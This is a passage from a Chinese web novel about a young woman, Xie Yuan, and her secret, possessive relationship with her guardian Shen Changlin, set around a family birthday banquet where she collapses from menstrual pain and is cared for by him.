夜风凉丝丝的,拂过谢沅的脸庞和脖颈,她颊上的热意消去,思绪也渐渐地平定下来。
当沈长凛再度吻上她的唇瓣时,谢沅的思绪彻底放空,她起身坐在沈长凛的腿上,攀上他的脖颈,试图自己掌控如何加深这个吻。
沈长凛有意地引导她,任由她伸出舌尖,撬开他的齿关。
肩头细细的吊带再度滑落。
谢沅的柔膝分开,她试着去寻找诀窍,但或许是天赋真的不在这个上面,唇边都有涎液流出,却还没能学好换气。
她累得气喘吁吁,想跟沈长凛坦白隔日再学,原本温和的吻却变得狠戾起来。
修长的指骨掐住谢沅的腰身,突然吻得很凶。
她的喉间溢出呜咽声,竭力地想要挣脱钳制,但纤腰被大手掌住,根本无处可逃。
身后的长廊里传来声响时,沈长凛才终于放松攥住谢沅腰身的手,她被吻得满脸通红,此刻身躯却是蓦地绷紧。
她额前覆着薄汗,眼眸里也都是水。
谢沅颤声说道:“叔叔,是哥哥回来了。”
她匆忙地将滑落的细带拉起,然后极力想要从沈长凛身上下去。
但这时候,他却又不肯放过她了。
男人的声音温柔似水,眼底却尽是晦暗的占有欲,他轻声哄谢沅:“沅沅,让哥哥知道,好不好?”
扣住腰身的手指修长有力,能轻易地将她抱起,带给她无尽的安全感。
但此刻却只有禁锢的意味。
沈长凛扣住谢沅的腰身,将她的腰侧都要攥出青紫来。
与之同时,他轻咬住了她的锁骨。
沈长凛的身上冰冷,唇齿也是微凉的,谢沅紧咬住樱色的唇瓣,才没有发出声来。
她无力地摇着头,声音哀哑:“求您了,叔叔……”
长廊里的声音越来越近了,谢沅几乎能听到沈宴白的脚步声,从长廊到露台的距离并不远,他随时都可能走过来。
“求求您了,叔叔。”她怕得厉害,眼泪扑簌簌地往下掉。
长睫被泪水打湿,抬起来的时候也是浸润的。
沈长凛抬起手,抚上谢沅的脸庞,轻轻地将她的眼泪拭去。
胆子小的孩子,连被近处侍候的人知晓,都会难受得彻夜难眠,这人是无论如何都逼不得的,但恶欲的蔓延也是无法克制的。
就那么在乎外人的眼光吗?
就那么不想令人知道他们之间的关系吗?
不过也是,他是她什么人?是长辈,是叔叔,是再放松的时候,也要保持恭敬的沈家家主。
哪里能跟旁人去相比?
沈长凛掀起眼皮,静默地看了谢沅片刻,轻声说道:“好。”
他起身的刹那,她的身躯骤然放松,差些就要软倒下来,但沈长凛没有回眸看她,他的容色冷淡,眼中的柔情也尽数消退。
叔叔的脾气其实并不好。
他看似温柔淡漠,好像对待什么事,都是那副漫不经心的样子。
其实在近处待过的人都知道,沈长凛的性子是有些阴晴不定的,他位高权重,年轻时更是不折不扣的顶级贵公子。
张扬随性如沈宴白,也全然比不过他那时的恣意。
沈长凛的身份太贵重了。
贵重到做任何事,都不会有人敢否定。
是沈长凛近来待她太好了,才让谢沅快要忘记界限,忘记他到底是什么人。
人跟人之间是有壁垒的,她小时候,有人会羡慕她出身书香门第,父母又那样疼宠,她天真懵懂,只能勉强觉察差异。
可来到沈家以后,谢沅才明白何为真正的云泥之别。
像沈长凛那样的人,生来就是在天上的,哪怕脸上的笑再温柔,他也永远都不会下凡尘。
他位高权重,绝不是她能肖想的人。
谢沅也不想让沈长凛沾染到尘世的污浊,温思瑜和秦承月的事爆出来时,都闹得那样难看,甚至有人将之当做丑闻。
更遑论是她这样的身份。
如果没有当初的那个意外,他们其实是不该这样的。
黑暗的情绪如潮水般袭来,谢沅轻轻地垂下眼眸,将长沙发上的薄毯披在肩头。
湿润的长睫无声地颤动,像是蝴蝶的翅膀-
谢沅不在房中,那应该是还在露台看书,她最近在读海德格尔。
明明是假期,而且已经上了大学,她总还是将日子过得很认真,没有人看着,也在安静沉默地好好生活。
就像是栽种在角落里的花。
初始时从来没在意,又厌烦她长在家里,某天一看,已经亭亭玉立,开始吐露芬芳了。
沈宴白走在长廊中,想到傍晚秦承月打来的那则电话。
他跟秦承月关系不错,可以称得上私交甚笃,但在谢沅的事上,他不想再顺着秦承月。
如果他们早早订婚,那么现在谢沅都可以准备嫁过去了。
谁能想到,秦承月竟然和温思瑜勾结在了一起?他长在秦家多年,能不知道温家是做什么的吗?
温思瑜是他该接触的人吗?
沈宴白能帮秦承月一次,却不愿再帮他第二次了,在电话中知悉沈长凛也不想再继续联姻,他更是扬起唇角。
切断通话后,他忙碌一天的倦怠都退去很多。
在镜子中,沈宴白看到了他张扬不驯的眉眼,在无声息地上挑。
回到家中后,他就直接上了楼。
廊道的尽头是露台,露台边有一架秋千吊椅,谢沅很喜欢,总在那里看书。
但沈宴白没想到的是,他走过去的时候,最先撞见的却是叔叔沈长凛的身影,他的容色微冷,眉眼间都带着不愉。
他愣了一下,唤道:“叔叔?”
沈长凛的眉眼冷淡,眸底都是深色的晦暗,他低声说道:“谢沅在露台,直接去找她吧。”
他没有多看沈宴白一眼,直接就离开了。
沈长凛在亲近的人面前,大部分时候都是温柔的,沈宴白当初为了谢沅的事,多次顶撞他,不久前甚至还跟他大吵一架,但就是那种时候,他也没见过沈长凛皱眉。
更别说是动怒了。
发生什么了?谢沅那般安静乖顺,竟然还能惹到沈长凛吗?
沈宴白不明所以地走进露台,谢沅披着薄毯,坐在长沙发上,她捧着玻璃杯中的冰水,垂眸慢慢饮着。
她的眼眶通红,像是才哭过一场。
柔软的薄毯之下,似是只着了黑色的吊带睡裙,裙摆的流苏垂落,衬得小腿纤白如玉。
沈宴白放轻声音,问道:“怎么了?你跟叔叔吵架了吗?”
“没什么,哥哥。”谢沅放下手中的玻璃杯,揉了揉眼眸,“您找我有什么事吗?”
她的声音细弱,带着鼻音。
或许是真的哭过了。
露台边的光线不是太亮,沈宴白看不清晰,他只是觉得谢沅的情绪似乎不太对。
他神情微动,低眼看向矮几上的杯盏,皱眉问道:“你喝了多少冰水?”
谢沅有些愣怔,她抬起水眸,看向沈宴白,很快又垂下眼睫,细声说道:“没有喝很多,哥哥。”
养她是很省心的事。
因为谢沅最害怕的,就是让旁人担忧。
沈宴白晃了晃那只杯盏,将它拿到一边,轻轻看向谢沅:“还说我喝酒不好,你喝这么多冰水,就不怕胃疼吗?”
他声音和缓,目光也似月色般落下。
谢沅抿了抿唇,垂下头说道:“对不起,哥哥,我以后不会再这样了。”
她的眼眸垂落,长长的乌发披散在肩头,脸庞略显苍白,柔弱得像是一株易折的花。
谢沅的情绪真的是不太对。
沈宴白低声说道:“昨天就想问,你这两天是怎么了?魂不守舍的。”
谢沅不知道沈宴白为什么会突然过来,她也不知道他为什么会突然问这些。
是看在她是秦承月未来妻子的份上,想要抒发些关心吗?
还是说,他觉察到了些什么?
她很想要让自己再冷静些,可是声音已经在发颤:“我真的没什么,哥哥。”
“我一点事也没有,哥哥。”谢沅语无伦次,“时候已经不早了,您快去休息吧,我也马上就回去休息。”
她摇晃地站起身,眼中尽是痛苦和挣扎。
沈宴白已经很久没有见过谢沅这样。
虽然他也不记得,上一次见她如此是什么时候。
沈宴白想要直接拉住谢沅,但想起她对男性发自本能般的恐惧,到底是没有表露出分毫的攻击性,只低声说道:“好,那你早些休息吧。”
她离开后很久,他都仍然站在露台没动。
到底是过去了三年,谢沅瞧起来和中学时没什么分别,其实还是变了的。
也是这时候,沈宴白倏然发现他好像不太了解谢沅。
不了解来到沈家前她经历了什么,不了解他出国后的这三年她在做什么。
沈宴白点了支烟,望着头顶的弦月,站在扶栏边慢慢地抽-
温思瑜从滨城回来了,她一去多日,叫人担心,也叫人牵挂思念,可她就是这样的人。
温家大小姐最是明艳张扬,做事也最是随心所欲。
她到机场的那天,戴着墨镜,身着酒红色的长裙,风姿袅娜,刚巧和一个明星来接机的粉丝们撞上,差些就被认错。
长枪短跑的摄像头啪啪狂拍,温思瑜摘掉墨镜时,众人才知是错认。
她挑眉一笑,红唇扬起,没露出什么不快,比那有意稍迟、营造氛围的明星本人还要更加坦然。
照片被人抓拍,当时就登上了头条。
谢沅是看到新闻时,才想起温思瑜近日要回来,而马上就是她的生日。
温思瑜是温氏集团的长公主,千万人瞩目,近来私下和大型的宴会都少不了。
这两天沈长凛和沈宴白都很忙。
那次的事后,沈长凛再没跟谢沅多说一句话,也没来看她一回。
谢沅就知道,她真的将叔叔惹生气了。
她翻出手机,无数次想要跟沈长凛发消息,但打完字又全部删掉了。
沈宴白又一向很不喜欢温思瑜,让他过来,还不如让陈秘书过来。
这种时候,谢沅是必须要出席的。
晚上的宴席是私宴,人不是很多,可也很费心力。
谢沅这两天睡得不好,总是中途被梦魇惊醒,一到晚上又容易困倦,不得不喝些冰水来压。
她没有喝冰水的习惯,是那日被沈长凛教接吻,才莫名地开始喝冰水。
不过喝冰水真的有用就是了。
私宴订的酒店奢美,雅间精致,雕廊画柱,仿佛是古时的江南园林。
虽然是私宴,但到场的人也并不少,而且非富即贵,无一等闲之辈。
谢沅跟她们不熟,她们也跟谢沅不熟。
如果是沈宴白过来,就是他当着众人的面给温思瑜脸色看,也没人会说什么,可谢沅到底不是真正的沈家大小姐,她安静地坐在席间,眼眸低垂,没事干了好一会儿。
须臾,温家的诸位亲朋到场,才有人跟谢沅搭话。
不过沈蓉直接将谢沅给叫走了。
她拉住谢沅的手,连声说道:“你怎么坐到哪儿了,沅沅?来,到姑姑身边。”
沈蓉是很健谈的人,单是通电话,就能讲半个钟头起步。
落座后谢沅仍是有些拘谨,她细声说道:“没事的,姑姑,我坐在那边就好。”
沈蓉摇了摇头,笑说道:“那怎么成呢?”
她温柔地和谢沅讲着话,须臾见到一青年过来时,将他也拉了过来:“沅沅,还记得吗?这是你怀瑾表哥,跟你哥哥差不多大。”
温怀瑾眉眼带笑,被拽过来也没有不快。
他轻声说道:“伯母,您轻一些,我的胳膊都要被您拽掉了。”
谢沅愣怔地抬起眸,看向眼前早就陌生至极的青年,缓了会儿神才唤道:“怀瑾表哥,晚上好。”
温家枝叶繁茂,她早记不清温怀瑾是谁。
只知道他似乎是温思瑜的堂弟,是她叔叔家的儿子。
跟寻常世家子弟不一样,温怀瑾平易近人,像是一位邻家兄长,他温和地跟谢沅打招呼:“晚上好,沅沅表妹。”
三人聊了片刻后,沈蓉便起身说道:“你们两个先聊,我待会儿就过来。”
谢沅眼睫微颤,轻声应道:“好,姑姑。”
她的容色看似平静,实则手心里已经沁出了汗。
因为是私宴,又是温思瑜的生日会,所以到场的大部分都是姑娘,并没有什么男人。
但眼前的怀瑾表哥不是。
他是个高大的成年男人,谢沅还对他没有那么熟悉,在沈蓉走后,她几乎是控制不住地感到紧张。
尽管这席间坐的不止他们两个。
“你不记得我了吧?”温怀瑾声音很轻,“我们就见过两面,那时候你才刚刚初中毕业,那么高一点儿。”
他眉眼含笑,比划了一下谢沅的大致身高。
温怀瑾讲话风趣幽默,哪怕是谢沅这样不擅长社交的人,跟他对话,也并不觉得苦恼。
但她还是没能彻底放松下来。
可能是方才喝的冰水太多了,小腹开始发疼,强烈的下坠感让谢沅有一种错觉,仿佛整个腹部都被一双手给攥紧了。
她好像是要来例假了。
最近的状态不好,谢沅将这回事也忘记了。
她是有点痛经的,如果吃药的话,就不会太严重,但如果吃了冷食,就很容易会发作得厉害。
可是今天是温思瑜的生日会,也不好中途离开。
谢沅脸色苍白,她咬住下唇,跟温怀瑾言说要去洗手间,然后便悄悄离席去了外间。
她坐在廊道里的沙发上,掩住小腹,在手机上下单止痛药。
疼得实在厉害,谢沅忍不住地微蜷身子,额前的冷汗也越出越多,小礼服的裙摆都被她的手指给攥出了褶皱。
疼痛在小腹不断地累积,像是一波又一波的浪潮,疯狂地冲击着神经。
谢沅眼前发黑,正当她要疼得倾倒时,一双手忽然将她给抱了起来,男人低声喝道:“谢沅!”
她茫然地睁开眼眸,第一次在沈长凛的脸上看到那样的急色。
30-40
第31章
夜晚的风微凉,轻轻地将窗边的薄纱吹起。
沈长凛执着杯盏,浅抿了少许的冰水。
谢沅在家时不喜欢拉窗帘,至多会将那层最浅的白色纱帘给拉起。
外面是山,放眼尽是青绿,她单是望着远方发呆,就能看上许久,如果下雨的话,就是看一整个下午都没关系。
谢沅的世界枯燥沉默,她没什么朋友,也没什么亲近的人。
中学时她每日都在认真学习,回到家也是安静地做题,读了大学后稍微好些,社交也渐渐多了。
但也没有好太多。
大部分时候,谢沅都是捧着书册在读,然后学一点德语,她连大门都不怎么出,待的最久的地方是一楼的岛台和露台边的秋千吊椅。
日复一日,年复一年。
她就这样无声地长大了,还是那样寡言的性子,还是那样不懂得拒绝。
谢沅是默默无闻的人,在群体中,也很容易被忽略,她是不被看得见的孩子。
太缄默,也太乖顺。
连沈长凛自己也记不清,究竟是那一个瞬间开始,他再也不容许那双懵懂的眼眸,看向他以外的人。
他只知道,他对他一手养大的孩子,生出了绮念。
意识到这件事的那个晚上,沈长凛第一次觉察到了不受掌控的脱轨感,掌控,占有,掠夺,这些难以言说的恶欲,如潮水般一并袭来。
只是那时候,他心里还怀着道德,还存有礼义。
于是沈长凛将所有的事推开,不顾一切地去国外待了一个月。
那是他长大的国度,也是他待的最久的地方,比燕城更像他的家。
黄昏落日,长长的公路结束于山峦的尽头,在兄长车祸去世之前,沈长凛时常会在周末的傍晚,开着跑车来到这里。
速度到达极限后,会有一种彻底放纵的快意。
但在那一天,速度逐渐跃升到巅峰时,他却想到了谢沅。
兄长死后,沈宴白成为了无人管顾的孩子,但沈宴白毕竟是沈家的大少爷,而且还有他在保驾护航。
可是如果他死了,谢沅要怎么办?
沈宴白会将她赶出沈家的,她无依无靠,会受人欺负,遭人觊觎,甚至可能会被人再次伤害。
只要一想到那种可能,沈长凛的情绪就瞬间冷了下来。
他停下车,然后准备回国。
那是沈长凛唯一一次,出国回来没让谢沅来接,到家时已经是晚上了,她穿着白色的吊带睡裙,捧着书册在看,坐在长沙发上揉眼睛。
水眸哭得红了,眼尾也是湿红的。
几乎是在那一个瞬间,沈长凛的心底就全是黑暗残忍的恶念。
谁让她受委屈了吗?还是趁他不在的时候欺负她了?
听到他进门的声响,谢沅一下子就抬起了眼眸,她的眸子亮起,声音细柔地唤道:“叔叔,您回来了!”
沈长凛低眼看向谢沅,眸色晦暗,轻声问道:“怎么哭了,沅沅?”
但她只是细声说道:“我在看书,叔叔……”
谢沅轻声细语,言说在读维特根斯坦的传记,方才是读到他的挚友去世,她才掉下了眼泪。
她的眼眸莹润着一层水色,像是波光潋滟的湖水。
目光再度无意识地落在那双水眸上时,沈长凛就明白他这一个月的离开,没有任何的意义。
好在那时,他心里还怀着道德,还存有礼义。
谈话结束以后,对面的人恭敬地问道:“沈总,您觉得这样可以吗?如果您觉得不妥,我们还可以再修改。”
沈长凛收回目光,将盛着冰水的杯子也轻轻放下。
不过是一个薄薄的纱帘,竟能令他回想到那么多的旧事。
或许最近真的是忙过了。
沈长凛向后倚靠,声音很轻,柔得像风一样:“没问题。”
他早出晚归,已经足两日没见到谢沅了,今天事情结束得早,回家以后,应该能陪她片刻。
不过他的沅沅并不一定愿意见到他就是了。
两天没跟她通电话,谢沅一条消息也没跟沈长凛发,今天出门去参加温思瑜的生日会,也是跟李特助和管家讲的。
倒还知道,美名其曰,不想打扰他。
她到底还记不记得,养着她的人是谁?是李特助和管家吗?
沈长凛的眸色深暗,心底有恶欲在无声蔓延,须臾他又想到,谢沅的意愿有什么用处?他要见她,她还敢避着他吗?
他执着钢笔,漫不经心地将字签完。
文件早已看过,事情也在很久之前就定好,今天不过是走个流程。
陪同的人第一次见他,恭敬得过了头,从雅间走出以后,仍然在谦声说道:“沈总,贵公司下次要是还有这方面的需求,您叫人随时联系我就行。”
沈长凛淡漠地看向窗外。
天色深黑,他到家的时候,应该是九点。
不知道温思瑜的生日会何时结束,但那有什么关系呢?他要谢沅回来,她就必须得回来。
想到这里,沈长凛的心情才稍微好了那么点。
他漫不经心地走出长廊,正要准备离开时,忽然瞧见了那个坐在暗处沙发的女孩子。
她的手抚着小腹,眉头紧锁,脸庞苍白得没有一丝血色,身躯无意识地向前倾倒。
是谢沅。
沈长凛瞳孔紧缩,在她将要昏倒时,一把将她抱了起来:“谢沅!”-
席间全都乱了。
沈蓉摇着高脚杯中的红酒,长裙摇曳,淑雅地走进:“往后我们思瑜,还要你们大小姐多照顾呢。”
她脸上带着笑意,但进门以后就见席间兵荒马乱。
她的女儿——生日会的主人公温思瑜也皱着眉,满脸焦虑地在打电话:“快点让人过来!”
温思瑜的额前覆着汗,连妆容都有些花。
她急得眉心紧拧,脸上没有分毫的喜悦。
到底是出了什么事,竟然将思瑜的生日会给扰了?不会又是那个秦家小子做了什么吧?
沈蓉眉头紧皱,快步走上前,拉过温思瑜身边的人,连声问道:“出什么事了?怎么这么乱?”
她将高脚杯放到桌案上。
沈蓉放得太急,酒水倾洒出了少许,顺着桌布往下滴落,将昂贵的木质地板晕染出深红色的脏污。
温思瑜身边的人也甚为慌乱,颤抖着嗓音说道:“是谢、谢姑娘出事了,夫人。”
“方才谢姑娘一个人去了外面,”她继续说道,“不知道怎么回事晕倒了。”
听到是谢沅出事,沈蓉的身躯都摇晃了一下。
就是沈宴白出事她都不会那么紧张,但出事的偏偏是谢沅,还是在她的眼皮子底下——
临走前她可是特意嘱咐温怀瑾,一定要无时不刻待在谢沅身边的。
沈蓉的花容失色,她急忙又问道:“现在她人在哪儿呢?”
那人被她拽得发疼,龇牙咧嘴地说道:“您先别急,夫人,沈总今天刚巧也在这家酒店,已经将谢姑娘接过去了。”
她匆匆说了一个休息室的名字。
沈蓉便立刻赶过去了。
她到的时候,温怀瑾也在,他恭敬地站在沈长凛的身边,歉然地说道:“抱歉,舅舅,刚刚是我没有看顾好沅沅表妹。”
温怀瑾还没怎么见过沈家的这位长辈。
他在国内时,沈长凛在国外,他在国外时,沈长凛又回了国内。
没有想到回国后私下的第一回见面,竟然是在这种场合。
温怀瑾是温家这一辈里最杰出的,也是声名最好的。
温家实在太大了,枝繁叶茂的大家族里,最容易滋生出污脏,表面上都文质彬彬,背地里做什么事的都有,那是王朝时代的强势道德都没能压住的劣根,更别提是自由开放的现代社会。
但温怀瑾是不一样的。
他温和守礼,风趣幽默,在男女事上也从不乱来,早有人说他就是温家下一代的掌门人。
可温怀瑾这样恭敬,沈长凛也没看他一眼。
谢沅疼得厉害,小脸苍白,身躯蜷缩起来,手指也无力地垂落。
刚已经给她喂过药,止痛药见效慢,她这回的疼痛来得又狠,肉体上的痛苦是可以被遏制的,但麻烦的是剧烈疼痛带来的精神波动。
谢沅的情绪一直不稳。
她纤薄的后背紧紧地绷着,肩头也在不断地颤抖。
沈长凛半抱着谢沅,她身上披着他的外套,露出半张苍白的柔美侧颜,疼得太狠了,她的小腿都在无意识地痉挛。
她的哭腔破碎,低低地压抑着。
沈蓉的脸色大变,步履都没那么稳,她匆匆地走上前,哑声唤道:“长凛……”
今日她本想趁温思瑜的生日,让谢沅和温家的子侄们也多接触些的。
沈长凛已经是打定主意,要解除谢沅和秦承月的联姻。
可不嫁给秦承月,谢沅也一定会嫁给别人,带着沈长凛独一份的疼宠和爱重,带着丰厚到无以复加的嫁妆。
与其便宜了不知某家的儿孙,倒还不如让沅沅嫁来温家。
到时和思瑜也好照应。
但沈蓉没敢想太多,沈长凛那样看重谢沅,是绝不可能将她随便嫁人的。
于是沈蓉只初步跟温家的几个子侄说了说,让他们今天过来见见谢沅,却没想到,她不过离席片刻,竟然出了这样的事。
温怀瑾素来聪明。
沈蓉怎么也想不到,事情是在他这里出的疏漏。
偏生温怀瑾还一点都不知道,他惹出来的是什么事,她真是不明白,都说了不要离开谢沅,他怎么还能这般疏忽?
“长凛,你别担心。”沈蓉看向谢沅,急忙说道,“我马上就让医生过来。”
说罢,她就匆匆打开手机,准备拨号。
沈长凛哄谢沅时,语调低柔,但抬眼看向亲姐姐沈蓉时,神情却没那般温和。
他的声音很轻,容色却是冷淡的:“此事就不劳大姐费心了,我已经叫过人了,诸位若是无事的话,也都先请离开吧。”
沈蓉容色慌乱,全无方才贵妇人的淑雅和从容。
她还想多说什么,但见沈长凛身边的随扈来请,也不好再做更多辩解。
沈蓉的脸色难看,走出休息室后,仍然是紧绷的。
她走到暗处,拉过温怀瑾,竭力压抑怒意:“我不是跟你说了,不要让沅沅单独待着吗?你怎么还让她落单了?”
沈长凛对谢沅到底有多疼,温怀瑾刚刚才明白过来。
他有些不以为然地说道:“我也想的,婶婶,但是沅沅表妹说要去洗手间,我总不能一直跟着吧?”
“您别担心,”温怀瑾温柔笑道,“沅沅表妹就是例假,然后喝了冷水,有些腹痛罢了。”
他全然不明白,再小的事,只要发生在谢沅的身上,就不能叫小事。
沈蓉气得要晕眩过去。
她扶着额头,说道:“第一回见面,就在你舅舅面前表现成这样,你是别想跟你沅沅表妹成婚了。”
旁人或许不明白,今天来见谢沅是为什么。
但温怀瑾是能明白的,而且沈蓉给他的暗示也足够。
“这种事再说吧,婶婶,”他疏朗地笑了一下,“沅沅表妹连我是谁都不记得了呢。”
温怀瑾笑得谦逊,沈蓉的容色却冷了下来。
“你还看不上沅沅,是吗?”她气得破口大骂,“你知道你舅舅多疼她吗?这话私底下说说就罢了,你可千万别让沈家的人听见!”
温怀瑾看向窗外,轻描淡写:“我知道,婶婶。”-
谢沅一直撑到医生过来,止痛药服下去后,尖锐剧烈的痛楚逐渐消退。
但情绪的退潮却是艰难的。
谢沅无力地靠在沈长凛的怀里,脑子里尽是纷乱的、黑暗的思绪。
一团乱麻中,唯有一个执念是清晰的。
谢沅攀上沈长凛的脖颈,樱唇轻启,声音细弱:“对不起,叔叔,我……我那天不是故意的,你能不能不要生气了?”
她的眼眸泛红,长睫也是湿润的。
将外人都赶出去后,沈长凛将谢沅整个人都抱在了怀里。
他一手拢着她的腰,另一手覆在她的小腹上,轻轻地按揉着。
半年来亲近,沈长凛知悉谢沅例假会痛,却也是第一次见她发作得如此厉害,他见不得她受委屈,更别说见她受疼。
每次她来例假之前,他都会提前喂她吃药。
这两天忙得忘记,没想到就出了这种事。
将谢沅从暗处沙发抱起的时候,沈长凛的情绪就已经有些不受控了,但情绪到达峰值,却是在这一刻。
他紧揽着谢沅,声音低哑:“我没有生气,沅沅。”
谢沅冷静的时候是绝对不会说出这种话的。
眼下的她,被情绪操控着,露出的却是最本真的模样。
谢沅红着眼眸,带着哭腔,抽咽地说道:“可是你不来看我,也不跟我发消息了,昨天晚上我等了你好久。”
是啊,怎么能那么对她呢?
小孩子才刚刚敞开心扉,脸皮又向来那么薄,不过是不想被人撞见而已。
沈长凛神情愣怔,他抬手抚上谢沅的脸庞,帮她擦净眼泪,然后将人紧搂在怀里:“……抱歉,沅沅,叔叔这两天忙,不是有意忽略你的。”
“以后不会再这样了,”他声音低哑,“对不起,沅沅。”
他最不愿见她受委屈,可是这一次,是他让她难过了。
沈长凛的声音很轻,但却像是乍破的天光,将谢沅脑海中凝滞的黑暗情绪都破开了。
她抓着他的衣袖,眼泪不断地往下掉着。
谢沅不想被情绪操控,泪水却止不住,她垂下头,哭声渐渐地压抑不住。
沈长凛抱着谢沅,向来从容淡漠的人,指骨都微微地泛白。
她哭得累了,柔弱地靠在他的肩头。
一路疾驰的瑞典医生终于赶了过来,一针镇静剂下去后,谢沅彻底没了气力,她趴在沈长凛的怀里,眼睫沉重地垂落下来。
意识逐渐模糊,所有的杂念都退潮般地落下,化为一片空白。
看到谢沅睡过去后,沈长凛的情绪才渐渐平复下来。
已经有很多人在找医生了,但谢沅的事,他并不想太多人知道,更不想令旁人插手。
一直以来,在给谢沅诊治的都是这位瑞典医生。
两人用英语交谈。
交谈完后,沈长凛抱起谢沅,准备带她离开。
她的小礼服已经全乱了,身上披着的是沈长凛的外衣,白皙的小腿垂落,被长袜的蕾丝勾勒出纤细的弧度。
随扈跟得很近。
走到门外后,也没人会看得到,沈家的那位掌权人是用多么亲密的姿势,抱住怀中的女孩。
但那么多人簇拥,就是再蠢笨的人,也看得出来沈长凛对谢沅有多呵护。
沈家的大小姐是个默默无闻的人。
甚至很多人都记不清她的面孔,毕竟没有血缘,不是真的沈家人,而且她的性子沉闷,寡言少语,也鲜少会跟圈子里的人来往。
听说在家里很受宠,但这种事,谁知道呢?
到了此刻,宴席上的众人方才真正明白,沈家的这位大小姐,到底是有多受宠。
温思瑜的脸色发白。
生日会弄成了这个样子,她完全也不怪谢沅。
温思瑜只担心谢沅会真的出事,毕竟她是那么柔弱。
不过真是奇怪,沈宴白肺病严重到跑去滨城,胃病严重得酗酒会胃出血,可温思瑜从没见过他出事,反倒是向来安静乖顺的谢沅,近来遇到的这一件件、一桩桩都是什么事?
温思瑜是真心实意地在关心谢沅。
如果不是舅舅沈长凛过来,现在时刻陪在谢沅身边的人,一定是她。
温思瑜捏着手中的帕子,目光紧紧地跟在谢沅身上,直到门前出现那个男人身影的时候。
秦承月的发丝微乱,一瞧便能令人知晓,是匆匆赶来的。
可他急急忙忙地过来,却并不是为了她。
第32章
注射的镇静剂药效很长,谢沅这两日又没有睡好,她一觉睡了很久,直到翌日的正午方才苏醒。
跟寻常睡眠不一样,通过药物强制进行的睡眠,会令人不再做梦。
一夜过去后,谢沅的脑中几乎全是空白。
她扶着额头坐起身,明明已经苏醒,思绪却仍然是混乱的、模糊的,就像是被包裹在一层玻璃里。
唯有嗓子里的干涩是真实的。
睡得越久,往往就越渴,谢沅感觉喉咙里有火在烧,她坐起身,端过床边茶几上的杯子,想要喝点水。
但唇瓣还没碰到杯子的边缘,房门就被人从外间打开。
看到沈长凛的时候,谢沅还有一瞬间的愣怔。
叔叔今天在家里吗?
她的思绪有点乱,记忆也是紊杂的,神情停滞了片刻,脑中方才清晰起来,想起昨天晚上发生的事。
最先生出的情感是羞赧。
明明是她惹了沈长凛生气,昨夜却是一直在难过地指责他。
但叔叔却那么温柔地包容了她。
谢沅还没完全想明白,现在要如何面对他,沈长凛的手便已经抚上了她的额头,他声音很轻:“还难受吗,沅沅?”
她的身躯微僵,细声说道:“不难受了,叔叔。”
服过药后,谢沅已经不难受了,那将她快要逼疯的疼痛,也悄无声息地消散。
疼痛退潮过后,诸种黑暗的情绪也尽数退潮。
大部分时候,谢沅跟正常人是一样的,只不过脸皮要更薄一些,话语要更少一些,性子要更内敛一些。
她的手指轻轻地蜷着,眼眸也低低地垂着。
两人到底是争执过,谢沅本来就不善言辞,眼下更是不知道要跟沈长凛说什么,但如果一直沉默着,又很没有礼貌。
她心中纷乱,正迟疑时,沈长凛的手抚上了她的脸庞。
“……抱歉,沅沅。”他低声开口,“之前的事,叔叔不是有意的。”
沈长凛的声音很轻。
类似的话语在昨夜他已经说过,谢沅的记忆模糊,却还隐约记得。
“以后不会再这样了,”沈长凛抚了抚她的眼尾,“能原谅叔叔一次吗,沅沅?”
他色泽稍浅的眼眸低垂,内里是微碎的柔和光芒。
谢沅捧着杯子的手微微收紧,眼神懵懂,脑中几乎没有经过任何的思考,便低低地应道:“好,叔叔。”
她是没办法拒绝沈长凛的,无论是什么事情-
下午三点,沈宴白给家里打电话,知悉谢沅已经安好,然后才答应见了秦承月。
昨夜谢沅出事的时候,他还在外面和人谈事情。
因为是很重要的客户,又是跨越重洋从国外飞过来的,助理看见沈宴白手机屏幕上一连串的电话和消息,也没敢推门进去。
直到事情结束后,才紧张跟沈宴白言说。
那时已经是深夜,沈宴白急忙给沈长凛打去电话的时候,谢沅已经睡熟了,他声音很轻:“不用担心,沅沅打过镇静剂了。”
谢沅不是胃里难受吗?为什么要用得上镇静剂?
沈宴白的思绪蓦地一乱,瞳孔也微微收紧。
但沈长凛的语气平和,仿佛在说一件很寻常的事。
谢沅骤然出事,一定有很多人来问他,沈宴白以为是沈长凛疏漏,他没有表露出来,低声应道:“好,谢谢您,叔叔。”
沈宴白回到家后,沈长凛还没有上楼,他在一楼的露台边和医生通电话:“嗯,我知道,这次的药效也是十二到十五个小时吗?”
跟沈宴白半路子出家不一样,沈长凛是在国外长大的。
他是先学会的英语,然后再学会的国语。
沈长凛的声音本来就很好听,讲外语的时候,更是带着些贵族的意味,见沈宴白回来,他看了沈宴白一眼,然后继续和医生通话。
沈宴白站在原处,第一次感觉到了进退维谷,他应该听下去吗?还是先离开,过片刻再过来?
好在沈长凛没有讲太久。
挂断电话后,他轻轻地看向沈宴白。
“沅沅打了镇静剂,这两天别去扰她,”沈长凛慢声说道,“也别多去问她,有事情直接来问我。”
夜色深沉,一缕月色透过落地窗照了进来。
沈宴白神情僵硬,花费了些气力,才没让脸上流露出明显的错愕和震惊。
和叔叔沈长凛谈完话后,他回到楼上的卧室,看完余下的那些消息,知道秦承月昨天也匆匆赶过去了,但沈长凛没有见他,甚至没有多问他一句。
沈宴白意识到,沈长凛是打定主意,要彻底结束秦承月跟谢沅的联姻了。
说实话,沈宴白真是不明白,都已经经过类似的事了,秦承月为什么还能那么迟疑犹豫?
他就那么不喜欢谢沅吗?还是说,他真的对温思瑜情根深种了?
沈宴白站在洗手池前,撩水洗了把脸。
这个时候,作为兄长他应当对谢沅多怀些关切的,未婚夫如此,她一个小姑娘,肯定是要难过的。
但是在镜子中,沈宴白看到了他微微扬起的唇角。
沈长凛应当是给过秦承月机会的,或许还会给他再思考的宽限时间。
但沈宴白很清楚,秦承月在感情上,向来都是很迟疑的人。
他在风月场纵横多年,早就不记得什么是怦然心动、一见钟情、迟疑犹豫。
沈宴白对女人的想法向来都很简单,喜欢的就追,不喜欢的哪怕痴恋得再情深,也不多管顾,而对曾经喜欢,后来无感的,则果断抽身。
秦承月却不一样。
他为人要矜傲许多,又早早被订下要做谢沅的未婚夫。
除却温思瑜,还没听说和哪家的女孩有过牵扯。
沈宴白也不知道他们怎么搅到一起的,不过听圈子里朋友言说他们的分分合合,过程应当挺坎坷的。
他从不觉得情史丰富是坏事。
一个人的情史,只有足够丰富,在遇到势在必得的人面前,才能足够游刃有余。
不过沈宴白乐意看秦承月的笑话。
他们是朋友不假,私交也很好,但这种事,跟其他事是不一样的。
